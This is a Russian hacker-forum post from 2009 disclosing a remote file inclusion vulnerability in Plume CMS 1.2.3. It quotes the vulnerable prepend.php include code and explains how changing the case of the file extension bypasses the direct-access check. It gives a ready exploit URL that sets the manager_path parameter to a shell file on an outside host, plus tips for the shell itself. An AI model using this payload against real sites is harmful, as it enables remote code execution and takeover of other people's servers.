Показать сообщение отдельно

  #4  
Старый 21.11.2009, 14:24
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: Plume CMS
Author: unnamed
Version: 1.2.3

RFI

file: prepend.php
PHP код:
if (basename($_SERVER['SCRIPT_NAME']) == 'prepend.php') exit;

include_once 
$_PX_config['manager_path'].'/conf/config.php';
include_once 
$_PX_config['manager_path'].'/inc/class.config.php';
include_once 
$_PX_config['manager_path'].'/inc/lib.text.php';
include_once 
$_PX_config['manager_path'].'/inc/class.hook.php';
include_once 
$_PX_config['manager_path'].'/inc/class.dispatcher.php';
include_once 
$_PX_config['manager_path'].'/inc/class.rss.php';
include_once 
$_PX_config['manager_path'].'/inc/class.search.php';
include_once 
$_PX_config['manager_path'].'/inc/class.error404.php';
include_once 
$_PX_config['manager_path'].'/inc/class.category.php';
include_once 
$_PX_config['manager_path'].'/inc/class.resource.php';
include_once 
$_PX_config['manager_path'].'/inc/class.news.php';
include_once 
$_PX_config['manager_path'].'/inc/class.article.php';
include_once 
$_PX_config['manager_path'].'/inc/class.resourceset.php';
include_once 
$_PX_config['manager_path'].'/inc/lib.frontend.php';
include_once 
$_PX_config['manager_path'].'/inc/lib.sql.php';
include_once 
$_PX_config['manager_path'].'/inc/class.paginator.php';
include_once 
$_PX_config['manager_path'].'/inc/class.cache.php';
include_once 
$_PX_config['manager_path'].'/inc/class.sitemap.php';
include_once 
$_PX_config['manager_path'].'/inc/class.l10n.php'
Как видим,есть защита:
PHP код:
if (basename($_SERVER['SCRIPT_NAME']) == 'prepend.php') exit; 
Если обратиться к этому скрипту напрямую,он просто прекратит работу.
Но авторы не учли маленькую вещь,регистр.Легкий и изящный обход:


target: prepend.PhP?_PX_config[manager_path]=http://site.ru/shell.txt%00

Просто меняем регистр у расширения,и проверка уже не срабатывает.Следует отметить,что наш файл заинклудиться стопицот раз,так что в своем шеле пишем,в самом конце, Exit(); Таким образом,предотвратиться инклуд остальных шелов.
Важно! Необходимо registers_global = on


Iceangel_: Не все требования указал к этой баге, подумай...

Последний раз редактировалось Iceangel_; 22.11.2009 в 12:38..
 
Ответить с цитированием